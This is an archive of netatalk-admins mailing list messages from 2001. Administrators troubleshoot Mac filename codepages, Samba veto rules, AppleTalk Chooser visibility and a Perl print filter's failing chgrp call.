> >an then the client is capable of deleting the file.
> 
> It's not an permission problem.
> As "root" I issued
> chmod 777 *
> checked with ls -l
> permissions are set
> 
> Still the Mac says
> "ä" kann nicht in den papierkorb bewegt
> werden, weil das Objekt nicht gefunden wurde.
> 
> ("ä" can't be moved to the trash because the
> object can't be found)
> 
> A special bug with my system configuration or
> simply because the file was created from Unix?
> 
> Axel

-- 
--schnipp-- 

mit freundlichen grüssen

-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
Geschäftsführer                  Taubengasse 9
mconin@euc.de                    D 50676 Koeln
http://www.euc.de                HRB Köln 32038
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------
EUC sponsort Clean up Cologne - eine Iniative der IHK Köln,
der Abfallwirtschaftsbetriebe Köln (AWB) und dem
Grünflächenamt der Stadt Köln. http://www.clean-up-cologne.de

From netatalk.administrators-errors@umich.edu  Fri Apr 27 08:46:16 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA16982
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 27 Apr 2001 08:46:16 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA13405
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 27 Apr 2001 08:46:16 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA13379
	for netatalk.administrators-members@umich.edu; Fri, 27 Apr 2001 08:46:15 -0400 (EDT)
Received: from sj.com (dipsy.sj.com [62.96.248.15])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA13322
	for <netatalk-admins@umich.edu>; Fri, 27 Apr 2001 08:46:14 -0400 (EDT)
Received: from [172.16.172.241] ([172.16.172.241] verified)
  by sj.com (CommuniGate Pro SMTP 3.3.2)
  with ESMTP id 4312651 for netatalk-admins@umich.edu; Fri, 27 Apr 2001 14:46:13 +0200
Mime-Version: 1.0
X-Sender: rose@mailhost.i.sj.com
Message-Id: <p04330110b70f1679ed9c@[172.16.172.241]>
In-Reply-To: <3AE95B99.361073@euc.de>
References: <p04330107b70ef99924d9@[172.16.172.241]>	
 <3AE950EC.487D53F2@euc.de> <p0433010db70f0996e688@[172.16.172.241]>
 <3AE95B99.361073@euc.de>
Date: Fri, 27 Apr 2001 14:46:12 +0200
To: netatalk-admins <netatalk-admins@umich.edu>
From: Axel Rose <rose@sj.com>
Subject: Re: 8bit chars, no refresh
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id IAA16982

Um 13:44 Uhr +0200 27.04.2001, schrieb Mac Conin:
>look at a file generated from a mac on the server.
>Does it look like 'ä' or does it a display like :81

It's ':8a' for 'ä'.

Um 13:50 Uhr +0200 27.04.2001, schrieb Dori.Seliskar@select-tech.si:
>/data data codepage=maccode.no_recode

Tried that too and it doesn't make a difference. Thanks for the hint.

The solution is clear to me.
Hex 0x8a must be coded in the filename as ':8a'.
This is the same as Helios EtherShare does on non UTF8 volumes,
i.e. solvable

Sorry, I wasn't aware of this and just thought (!) that
netatalk uses a plain filename translation.

Anyway much thanks for the excellent and fast help on this list.

The only problem I have left with netatalk is now the
refresh issue. (o.k. aliases too, but this is quite different)
Do developers work on this? A workaround by perhaps touching a
file would suffice for me.


Sincerely


Axel

From netatalk.administrators-errors@umich.edu  Fri Apr 27 09:52:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA18868
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 27 Apr 2001 09:52:52 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA27191
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 27 Apr 2001 09:52:43 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA27168
	for netatalk.administrators-members@umich.edu; Fri, 27 Apr 2001 09:52:43 -0400 (EDT)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA27138
	for <netatalk-admins@umich.edu>; Fri, 27 Apr 2001 09:52:41 -0400 (EDT)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id PAA01758;
	Fri, 27 Apr 2001 15:47:45 +0200
Message-ID: <3AE97883.EE316D07@euc.de>
Date: Fri, 27 Apr 2001 15:47:47 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: Axel Rose <rose@sj.com>
CC: netatalk-admins <netatalk-admins@umich.edu>
Subject: Re: 8bit chars, no refresh
References: <p04330107b70ef99924d9@[172.16.172.241]>	
	 <3AE950EC.487D53F2@euc.de> <p0433010db70f0996e688@[172.16.172.241]>
	 <3AE95B99.361073@euc.de> <p04330110b70f1679ed9c@[172.16.172.241]>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id JAA18868

Hmm,

if you find hex-codes on your server, the appropriate codepages
(the translation for the umlauts et. al) are not used or not specified.

look at the AppleVolumes.default

if you declare
/var/lib/nobody "test-drive" codepage:maccode.iso8859-1
alle umlauts are converted correctly

/var/lib/nobody "test-drive" codepage:maccode.iso8859-1 options:nohex
also converts the umlauts but now slash is an illegal character in filenames.

If you use netatalk in conjunction with samba this could be helpful because
mac files with slash ( a legal mac character) are not allowed for the windumps'.

So if you have a file with htat character in a directory and windoze
users want to enter this specific directory they'll get an error reporting
that this directory hasn't been found or any other nonsense.



Axel Rose wrote:
> 
> Um 13:44 Uhr +0200 27.04.2001, schrieb Mac Conin:
> >look at a file generated from a mac on the server.
> >Does it look like 'ä' or does it a display like :81
> 
> It's ':8a' for 'ä'.
> 
> Um 13:50 Uhr +0200 27.04.2001, schrieb Dori.Seliskar@select-tech.si:
> >/data data codepage=maccode.no_recode
> 
> Tried that too and it doesn't make a difference. Thanks for the hint.
> 
> The solution is clear to me.
> Hex 0x8a must be coded in the filename as ':8a'.
> This is the same as Helios EtherShare does on non UTF8 volumes,
> i.e. solvable
> 
> Sorry, I wasn't aware of this and just thought (!) that
> netatalk uses a plain filename translation.
> 
> Anyway much thanks for the excellent and fast help on this list.
> 
> The only problem I have left with netatalk is now the
> refresh issue. (o.k. aliases too, but this is quite different)
> Do developers work on this? A workaround by perhaps touching a
> file would suffice for me.
> 
> Sincerely
> 
> Axel

-- 
--schnipp-- 

mit freundlichen grüssen

-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
Geschäftsführer                  Taubengasse 9
mconin@euc.de                    D 50676 Koeln
http://www.euc.de                HRB Köln 32038
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------
EUC sponsort Clean up Cologne - eine Iniative der IHK Köln,
der Abfallwirtschaftsbetriebe Köln (AWB) und dem
Grünflächenamt der Stadt Köln. http://www.clean-up-cologne.de

From netatalk.administrators-errors@umich.edu  Mon Apr 30 11:32:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA05509
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 30 Apr 2001 11:32:25 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA25281
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 30 Apr 2001 11:32:17 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA25253
	for netatalk.administrators-members@umich.edu; Mon, 30 Apr 2001 11:32:16 -0400 (EDT)
Received: from local (customer-host-145.yellowspace.net [213.183.5.145])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id LAA25196
	for <netatalk-admins@umich.edu>; Mon, 30 Apr 2001 11:32:14 -0400 (EDT)
Received: from [213.183.5.146] ([213.183.5.146] verified) by local (Stalker SMTP Server 1.7) with ESMTP id S.0000068375 for <netatalk-admins@umich.edu>; Mon, 30 Apr 2001 17:27:36 +0200
Mime-Version: 1.0
X-Sender: lopez.on.the.lists@mail.yellowspace.net
Message-Id: <a04310106b7133509b73a@[192.168.1.201]>
Date: Mon, 30 Apr 2001 17:32:21 +0200
To: netatalk-admins@umich.edu
From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: semi-off-topic: how to veto Mac-Icon files in Samba?
Content-Type: text/plain; charset="us-ascii"

Hi all,

sorry that I'm posting this here - but after all I think it's more likely that someone on this list has an answer...:

How can I veto the mac-custom Icon files in smb.conf? I tried with /Icon^M/,
but it didn't work out, the pcs are showing them. It looks like there is a ascii 13 or 10 after the n - anybody got those Icon files hidden to SMB clients?

Thanks,

Lorenzo

From netatalk.administrators-errors@umich.edu  Mon Apr 30 12:13:17 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA06890
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 30 Apr 2001 12:13:17 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA04187
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 30 Apr 2001 12:13:09 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA04161
	for netatalk.administrators-members@umich.edu; Mon, 30 Apr 2001 12:13:08 -0400 (EDT)
Received: from trinity.magpage.com (trinity.magpage.com [216.155.0.8])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA04120
	for <netatalk-admins@umich.edu>; Mon, 30 Apr 2001 12:13:07 -0400 (EDT)
Received: from [216.155.36.73] ([216.155.36.73])
	by trinity.magpage.com (8.11.2/8.11.2) with ESMTP id f3UGDET21615
	for <netatalk-admins@umich.edu>; Mon, 30 Apr 2001 12:13:14 -0400 (EDT)
Mime-Version: 1.0
X-Sender: ryannm@mail.magpage.com
Message-Id: <v04210108b7133f6e5742@[216.155.36.73]>
In-Reply-To: <a04310106b7133509b73a@[192.168.1.201]>
References: <a04310106b7133509b73a@[192.168.1.201]>
Date: Mon, 30 Apr 2001 12:13:11 -0400
To: netatalk-admins@umich.edu
From: Ryan McBeth <ryan@mobiusnm.com>
Subject: Re: semi-off-topic: how to veto Mac-Icon files in Samba?
Content-Type: text/plain; charset="us-ascii" ; format="flowed"


	Lorenzo, just drop this into your smb.conf file and edit away 
what you don't need.

veto files = 
/*Security*/*root*/.AppleDouble/.bin/.AppleDesktop/Network Trash 
Folder/.Parent/Icon?/Desktop/DesktopFolderDB/

	Ryan

>Hi all,
>
>sorry that I'm posting this here - but after all I think it's more 
>likely that someone on this list has an answer...:
>
>How can I veto the mac-custom Icon files in smb.conf? I tried with /Icon^M/,
>but it didn't work out, the pcs are showing them. It looks like 
>there is a ascii 13 or 10 after the n - anybody got those Icon files 
>hidden to SMB clients?
>
>Thanks,
>
>Lorenzo

__________________________________
Ryan McBeth
Systems Administrator, Mobius New Media
Voice: (302) 475-9880 x11
FAX: (302) 475-9894
www.mobiusnm.com
__________________________________
Two strings walk into a bar.
The first string asks the bartender:
"Can I have a beer 9^#5bwjD$#@ssDSDeh"
The Second string says:
"Excuse my friend, he isn't null terminated."


From netatalk.administrators-errors@umich.edu  Mon Apr 30 22:10:11 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA29770
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 30 Apr 2001 22:10:11 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA05216
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 30 Apr 2001 22:10:03 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA05203
	for netatalk.administrators-members@umich.edu; Mon, 30 Apr 2001 22:10:02 -0400 (EDT)
Received: from gnu.in-berlin.de (gnu.in-berlin.de [192.109.42.4])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id WAA05155
	for <netatalk-admins@umich.edu>; Mon, 30 Apr 2001 22:10:00 -0400 (EDT)
Received: from hirsch.in-berlin.de (root@hirsch.colt.in-berlin.de [213.61.118.6])
	by gnu.in-berlin.de (8.10.1/8.10.1) with ESMTP id f412A7w25782
	for <netatalk-admins@umich.edu>; Tue, 1 May 2001 04:10:07 +0200 (CEST)
	(envelope-from srittau@jroger.in-berlin.de)
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.11.1/8.11.1/Debian 8.11.0-6) with UUCP id f412A6c05039
	for netatalk-admins@umich.edu; Tue, 1 May 2001 04:10:06 +0200
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: netatalk-admins@umich.edu
Received: from srittau by jroger.in-berlin.de with local (Exim 3.22 #1 (Debian))
	id 14uPGz-00039n-00
	for <netatalk-admins@umich.edu>; Tue, 01 May 2001 03:48:17 +0200
Date: Tue, 1 May 2001 03:48:17 +0200
To: netatalk-admins@umich.edu
Subject: Re: "Password incorrect" problems
Message-ID: <20010501034817.E18166@jroger.in-berlin.de>
Mail-Followup-To: netatalk-admins@umich.edu
References: <20010423174630-r01010600-91bd02fb@194.159.148.247> <988046503.4235.23.camel@comp10574.potsdam.edu> <988050595.728.0.camel@twain>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <988050595.728.0.camel@twain>; from rbline@wm.edu on Mon, Apr 23, 2001 at 02:29:54PM -0400
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

On Mon, Apr 23, 2001 at 02:29:54PM -0400, Rob Lineweaver wrote:

> I've had success with 1.5pre6 compiled from source on Debian/m68k
> unstable.  Configured with:
> 
> ./configure --prefix=/usr/local --with-config-dir=/etc/atalk
> --with-uams-path=/etc/atalk/uams --with-msg-dir=/etc/atalk/msg
> --enable-lastdid  --with-pam --with-shadow --with-tcp-wrappers
> --with-ssl
> 
> I'm not sure if the --with-shadow is necessary or not but it might be
> something to try (it's probably in the .deb anyway, but I've never used
> the deb).

It was not in the deb, thatswhy it didn't work. --enable-shadow is
necessary.

 - Sebastian


From netatalk.administrators-errors@umich.edu  Mon Apr 30 23:05:29 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA02132
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 30 Apr 2001 23:05:29 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA28770
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 30 Apr 2001 23:05:29 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA28755
	for netatalk.administrators-members@umich.edu; Mon, 30 Apr 2001 23:05:28 -0400 (EDT)
Received: from uclink4.berkeley.edu (uclink4.Berkeley.EDU [128.32.25.39])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id XAA28733
	for <netatalk-admins@umich.edu>; Mon, 30 Apr 2001 23:05:27 -0400 (EDT)
Received: from condor.uclink4.berkeley.edu (hds-70-111.Housing.Berkeley.EDU [169.229.70.111])
	by uclink4.berkeley.edu (8.10.1/8.10.1) with ESMTP id f4135RJ10935
	for <netatalk-admins@umich.edu>; Mon, 30 Apr 2001 20:05:27 -0700 (PDT)
Message-Id: <5.0.0.25.2.20010430200043.00ab65b0@uclink4.berkeley.edu>
X-Sender: kkc@uclink4.berkeley.edu
X-Mailer: QUALCOMM Windows Eudora Version 5.0
Date: Mon, 30 Apr 2001 20:05:28 -0700
To: netatalk-admins@umich.edu
From: Kevin Chan <kkc@uclink4.berkeley.edu>
Subject: read-only share is greyed out in chooser
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

Hi,

I am using Netatalk 1.4.

I have set up a share with read-only access for one group and read-write 
access to another (using rolist:@group1 rwlist:@group2 in the 
AppleVolumes.default configuration) and the problem is that when a member 
of the read-only group logs in via Chooser on a Mac, s/he sees the share, 
but it is greyed out and thus, the user is unable to select the share and 
view its contents.

Furthermore, when I change the configuration back to allow:@group1,@group2, 
but leave the unix permission of the directory as r-- for the others 
section (with rwx for group2), this greyed out problem persists.  This 
leads me to think that Netatalk is working fine, but I am overlooking 
something.  Any help would be greatly appreciated.

Thanks in advance,
Kevin Chan


From netatalk.administrators-errors@umich.edu  Tue May  1 05:52:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA12007
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 1 May 2001 05:52:51 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA13346
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 1 May 2001 05:52:51 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA13334
	for netatalk.administrators-members@umich.edu; Tue, 1 May 2001 05:52:51 -0400 (EDT)
Received: from mike.amaze.nl (mike.amaze.nl [212.204.192.241])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id FAA13309
	for <netatalk-admins@umich.edu>; Tue, 1 May 2001 05:52:49 -0400 (EDT)
Received: (from bas@localhost)
	by mike.amaze.nl (8.9.3/8.9.3) id LAA06682
	for netatalk-admins@umich.edu; Tue, 1 May 2001 11:52:49 +0200
Date: Tue, 1 May 2001 11:52:48 +0200
From: Bas van der Linden <bas@mike.amaze.nl>
To: netatalk-admins@umich.edu
Subject: Server disappearing and reappearing from the chooser
Message-ID: <20010501115248.B3904@amaze.nl>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.95.4us

Hi all,

I've got a RH 6.2 box here, with netatalk-1.4b2+asun2.1.4-0.i386.rpm
installed.

All is working fine, except for one thing.

On the chooser on the mac, sometimes the server does show up, sometimes
it doesn't. And I cannot figure out why. Restarting the service doesn't
really help, it keeps on disappearing and reappearing.

I can still connect by entering the IP-adress, so that works.

Has anyone seen this behaviour before? I've searched but couldn't find
anything on it...

This is my afpd.conf:
-----
# We are defining 2 servers here, one permits access to the general share, 
# one permits access to the 'sys' share.
# The standard server should permit access to the general share.

- -nocrlf -guest -nocleartext

# The next server should permit to the 'sys' share

"SYS Server" -port 12000 -loginmesg "Deze share is alleen voor toegang tot de 'sys' share!" -defaultvol /etc/atalk/sys-server/AppleVolumes.default -systemvol /etc/atalk/sys-server/AppleVolumes.system -nocrlf -guest -nocleartext
-----

And this is my atalkd.conf:
-----
eth0 -phase 2 -net 0-65534 -addr 65280.1
-----

Thanks in advance!

Bas van der Linden

-- 
B.J.J. van der Linden            Amaze Internet Services V.O.F.
Brouwersgracht 132               Tel:   020-4688336
1013 HA Amsterdam                Fax:   020-4688337
Email: bas@amaze.nl              Web:   http://www.amaze.nl/

From netatalk.administrators-errors@umich.edu  Tue May  1 11:41:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA21746
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 1 May 2001 11:41:31 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA02912
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 1 May 2001 11:41:22 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA02896
	for netatalk.administrators-members@umich.edu; Tue, 1 May 2001 11:41:21 -0400 (EDT)
Received: from sj.com (dipsy.sj.com [62.96.248.15])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA02843
	for <netatalk-admins@umich.edu>; Tue, 1 May 2001 11:41:19 -0400 (EDT)
Received: from [172.16.172.241] ([172.16.172.241] verified)
  by sj.com (CommuniGate Pro SMTP 3.3.2)
  with ESMTP id 4350325 for netatalk-admins@umich.edu; Tue, 01 May 2001 17:41:27 +0200
Mime-Version: 1.0
X-Sender: rose@mailhost.i.sj.com
Message-Id: <p04330104b71487a64fc3@[172.16.172.241]>
Date: Tue, 1 May 2001 17:41:29 +0200
To: netatalk-admins <netatalk-admins@umich.edu>
From: Axel Rose <rose@sj.com>
Subject: chgrp, Illegal seek
Content-Type: text/plain; charset="us-ascii"

Hello,

I'm just wondering whether the following problem is netatalk
related. I doubt but hope that other users came across this before ...

A have a lpd input filter written in Perl.
The input filter is run by "lp" who is a member of the "nobody"
group.

I log the error "Illegal seek" from this line
system( "chgrp", "nobody", $out ) && &my_error_log( "$!" );

On the shell I can verify
sh-2.04$ id
uid=4(lp) gid=7(lp) groups=7(lp),99(nobody)
sh-2.04$ chgrp nobody <lp-created-ps-file>
sh-2.04$ echo $?
0

Only when run from lpd this peculiar error comes up.

Has anybody come across this?


Any hints very much welcome


Axel

(my current workaround is a simple "chmod 777 $out")
System is a RH7.0 with netatalk1.5-pre6

From netatalk.administrators-errors@umich.edu  Tue May  1 13:48:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA28225
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 1 May 2001 13:48:47 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA14547
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 1 May 2001 13:48:38 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA14532
	for netatalk.administrators-members@umich.edu; Tue, 1 May 2001 13:48:37 -0400 (EDT)
Received: from mathserv.math.ohio-state.edu (mathserv.math.ohio-state.edu [128.146.111.31])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA14494
	for <netatalk-admins@umich.edu>; Tue, 1 May 2001 13:48:36 -0400 (EDT)
Received: from math.ohio-state.edu (math.ohio-state.edu [128.146.111.30])
	by mathserv.math.ohio-state.edu (8.11.2/8.11.2) with ESMTP id f41Hmhj22397;
	Tue, 1 May 2001 13:48:43 -0400
Date: Tue, 1 May 2001 13:48:43 -0400 (EDT)
From: Chad Cunningham <ccunning@math.ohio-state.edu>
To: Axel Rose <rose@sj.com>
cc: netatalk-admins <netatalk-admins@umich.edu>
Subject: Re: chgrp, Illegal seek
In-Reply-To: <p04330104b71487a64fc3@[172.16.172.241]>
Message-ID: <Pine.GSO.4.31.0105011346060.25697-100000@math.ohio-state.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


> I'm just wondering whether the following problem is netatalk
> related. I doubt but hope that other users came across this before ...

No, it has nothing to do with netatlk.

> system( "chgrp", "nobody", $out ) && &my_error_log( "$!" );

Unless system fails, $! is undefined. Use $? if you want to check the exit
status, or if you really need the output, redirect it to a file and read
that in.

-- 

Chad Cunningham
ccunning@math.ohio-state.edu

"Well, once again my friend, we find that science is a two-headed beast. One
head is nice, it gives us aspirin and other modern conveniences,...but the
other head of science is bad! Oh beware the other head of science, Arthur, it
bites!"


From netatalk.administrators-errors@umich.edu  Tue May  1 17:27:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA06960
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 1 May 2001 17:27:47 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA03768
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 1 May 2001 17:27:39 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA03736
	for netatalk.administrators-members@umich.edu; Tue, 1 May 2001 17:27:39 -0400 (EDT)
Received: from sj.com (dipsy.sj.com [62.96.248.15])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA03665
	for <netatalk-admins@umich.edu>; Tue, 1 May 2001 17:27:37 -0400 (EDT)
Received: from [172.16.22.38] ([172.16.22.38] verified)
  by sj.com (CommuniGate Pro SMTP 3.3.2)
  with ESMTP id 4350516; Tue, 01 May 2001 23:27:36 +0200
Mime-Version: 1.0
X-Sender: rose@mail.i.sj.com
Message-Id: <p05010400b714cb8250f4@[172.16.22.38]>
In-Reply-To: <Pine.GSO.4.31.0105011346060.25697-100000@math.ohio-state.edu>
References: <Pine.GSO.4.31.0105011346060.25697-100000@math.ohio-state.edu>
Date: Tue, 1 May 2001 23:29:46 +0200
To: Chad Cunningham <ccunning@math.ohio-state.edu>
From: Axel Rose <rose@sj.com>
Subject: Re: chgrp, Illegal seek
Cc: netatalk-admins <netatalk-admins@umich.edu>
Content-Type: text/plain; charset="us-ascii"

Sorry for readers if this is getting a bit Perl specific. (and way long)
If the whole thing is working I'd like to make the solution available
for others who are in need of a server based PDF generator in their
Mac network.

> > system( "chgrp", "nobody", $out ) && &my_error_log( "$!" );
>
>Unless system fails, $! is undefined. Use $? if you want to check the exit
>status, or if you really need the output, redirect it to a file and read
>that in.

The full code logs the problem to a file.

open( L, ">>if.log" ) || die "can't open if.log for appending\n$!";
my $out = "$TMP/psout$$.ps";
open( O, ">$out" ) || ( &logit( "fatal - can't create '$out'\n$!" ) && exit 1);
print O while(<STDIN>);
close O;
&logit( "created PS file - '$out'" );

system( "chmod", 660, $out ) &&
        ( &logit( "error - 'chmod 660 $out' failed\n$!" ) && &sys_logit( $? ) );
system( "chgrp", nobody, $out ) &&
      ( &logit( "error - 'chgrp nobody $out' failed\n$!" ) && &sys_logit( $? ) );

sub logit
{
        print L scalar localtime( time ), " : $_[0]\n";
	return 1;
}

sub sys_logit
{
        my $return = $_[0];

        my $ret = $return >> 8;
        my $signal = $return & 127;
        my $coredumped = $return & 128;
        &logit( "error - returned with '$ret'" ) if ( $ret );
        &logit( "error - stopped by signal '$signal'" ) if ( $signal );
        &logit( "error - core dumped" ) if ( $coredumped );
        &logit( "no error - called by accident??" ) unless( $return );
        return 1;
}

...

within /etc/printcap I put
lp:\
        :sd=/var/spool/lpd/lp:\
        :mx#0:\
        :if=/etc/atalk/ifpdf.pl:\
        :send_try=1:\
        :sh:\
        :lp=/dev/null:

and in papd.conf
pdf-terminator:\
        :pr=|/usr/bin/lpr -Plp:op=root:\
        :pd=/usr/share/ppd/acro4.ppd:

system() failes, returns 1, the logit() and sys_logit subs are executed and
the logfile shows (showed)

Tue May  1 17:42:53 2001 : error - 'chgrp nobody /tmp/pdf/psout2070.pdf' failed
Illegal seek

The code is equivalent to
  system( "..." ) == 0 or ( logit($!) && sys_logit($?) )

So $! should contain the system error string. At least I think so.
But some quirk must be there. I can't reproduce the string "Illegal seek"
now (perhaps because of code cleanup). Now $! reads
Operation not permitted.

And that is the real question. The lp daemon can't do the "chgrp" whereas
the "lp" user can do it in a login shell. I'm really not sure but would
love to find a better solution than world writable files.


Thanks for the patience and the great help so far


Axel

From netatalk.administrators-errors@umich.edu  Tue May  1 18:01:13 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA08297
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 1 May 2001 18:01:13 -0400 (EDT)
Received: (from daemon@localhost)
